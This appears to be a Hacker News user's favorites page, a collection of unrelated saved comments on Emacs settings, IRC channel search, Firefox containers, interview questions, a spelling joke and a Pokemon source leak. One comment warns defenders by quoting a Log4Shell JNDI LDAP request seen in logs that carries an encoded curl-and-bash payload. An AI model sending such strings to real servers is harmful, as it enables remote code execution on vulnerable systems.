Hacker News new | past | comments | ask | show | jobs | submit | more kdtsh's favorites login

You can fix the delay for which key using by modifying the following variable:

(setq which-key-idle-delay 0.1)


We've been noticing attempted exploits in the wild. Attempts like these have started appearing in our logs:

> /?x=${jndi:ldap://45.155.205.XXX:12344/Basic/Command/Base64/<base64 encoded call to curl & bash>

Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this.


There's a video on that. The end of the universe: https://youtu.be/uD4izuDMUQA

This is so weird to think that for most of its life the universe will be empty and cold. Like what's even the point of all this, of life, of us, if in the end nothing matters, everything decays into nothingness.


Examples:

    /msg alis LIST *linux*

    /msg alis LIST *clojure*

    /msg alis LIST *art*
Up to you really, tooling is there for you to explore :)

Lots of comments already, but I'll chime on in.

I realized this very late in life, but I have a test for when it's time to pay attention to a new technology. It's when technical people look at what seems like a groundbreaking idea, seem unimpressed, and say "couldn't you just _____", were the blank is filled with something a nontechnical person doesn't understand or considers very cumbersome.

The web: couldn't you just transfer a file to an open port and use a rendering tool to view it?

Blogs: couldn't you just update a web page?

Wikis: couldn't you just update a web page?

social media: couldn't you just set up group view preferences and use RSS?

youtube: couldn't you just upload a video and use tags for search?

twitter: couldn't you just not? Isn't that just a worse version of what we can already do??

Honestly, I've overlooked almost every one of these things, because I failed to understand how removing small bits of friction can cause a technology to explode.

Sure, some ideas are crazy new, but some sound too underwhelming to be revolutionary. but they are, there's no question about it, all those things I listed above changed the world, in ways both good and pretty damn awful.


Shameless plug, CLI for reading IETF RFCs. https://github.com/cy6erlion/ietf

You will read this RFC like this:

$ ietf -n 1178


There is an additional Firefox extension that integrates with multi-account containers, Temporary Containers. This is highly configurable - I have it create a new container for every domain I visit, with a couple of exceptions that are tied to permanent containers.

I run that on my personal devices.

At work, there is so much in terms of SSO the amount of redirects that happen mean that temp-container-per-domain breaks all sorts of workflows, so I go without on the work machine.

I notice no major difference between these two configurations, although I'm sure that there would be things that are measurable, though imperceptible.


> I haven't had a 'relaxing' holiday without worries in over 12 months and so I'm considering a change.

(I work in operations/devops engineering and not into sofware engineering so my point of view is a bit different, the underlying reasoning is applicable anyway, imho)

I made a point to grill the interviewers during the interview on such topics. HR bullshit like "we care for work-life balance" means nothing, I grill the technical interviewer when it comes to the usual "do you have any question for us?"

How do you manage on-call availability? How many people are on-call and how many at any given moment? Can on-call people escalate things further? To whom? Are developers on-call too? Do do you architect for HA? How? In your current architecture, what could be a single point of failure?

This kind of questions.

Any negative reply is a red flag. If I start seeing more than two-three red flags (or even one on an important question) then I'll pass.

My reasoning when I last changed job was that my job at the time was awful but I had a permanent contract, it would not have made sense to jump into another awful job and win the additional stress and risk derived from the probation time.



There is also something in between lite and full version. No JavaScript. https://html.duckduckgo.com/

That reminds me of this old joke [1]:

> The European Union commissioners have announced that agreement has been reached to adopt English as the preferred language for European communications, rather than German, which was the other possibility.

> As part of the negotiations, the British and American government conceded that English spelling had some room for improvement. Consequently, they have adopted a five-year phased plan for what will be known as European English (Euro for short). In the first year, "s" will be used instead of the soft "c."

> Sertainly sivil servants will resieve this news with joy. Also the hard "c" will be replased with "k." Not only will this klear up konfusion, but typewriters kan have one less letter.

> There will be growing publik enthusiasm in the second year, when the troublesome "ph" will be replased by "f." This will make words like "fotograf" 20 persent shorter.

> In the third year, publik akseptanse of the new spelling kan be expected to reach the stage where more komplikated changes are possible. Governments will encourage the removal of double leters, which have always ben a deterent to akurate speling. Also, al wil agre that the horible mes of silent "e"s in the languag is disgrasful and they woud go.

> By the fourth year peopl wil be reseptiv to steps such as replasing "th" by "z" and "w" by "v." During ze fifz yer, ze unesasary "o" kan be droped from vords containing "ou", and similar changes vud of kors be aplid to ozer kombinatins of leters.

> Und after ze fifz yer, ve vil al be speking German lik zey vonted in ze first plas.

I never knew it was based on a Mark Twain quote. Then again, Mark Twain's philosophy I didn't hear much of either (I'm from Europe, don't think I learned any American philosophy on high school).

[1] https://alt.jokes.narkive.com/I7hqyPoJ/a-joke-a-plan-for-the...


Modern Vintage Gamer just released a video [0] discussing this leak in greater detail along with its expected implications.

Anyone who's curious can find the download links by backtracking through all the Pokemon Prototype General threads under the Pokemon board on 4chan.

One of the leaks that caught my attention was the source for Pokemon Blue, partially because of nostalgia and partially out of curiosity to see what an old game's codebase even looks like. The first thing that stood out to me was the project's flat folder structure, full of hundreds of files; I guess I was expecting things to be a bit more structured. The source is more readable and approachable than I expected, although I've only poked around in some of the more obvious places and definitions. I'd recommend watching The Ultimate Game Boy Talk [1] before trying to dive into any code.

[0] https://www.youtube.com/watch?v=n8G7eq0GlQs

[1] https://www.youtube.com/watch?v=HyzD8pNlpwI


Join us for AI Startup School this June 16-17 in San Francisco!

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: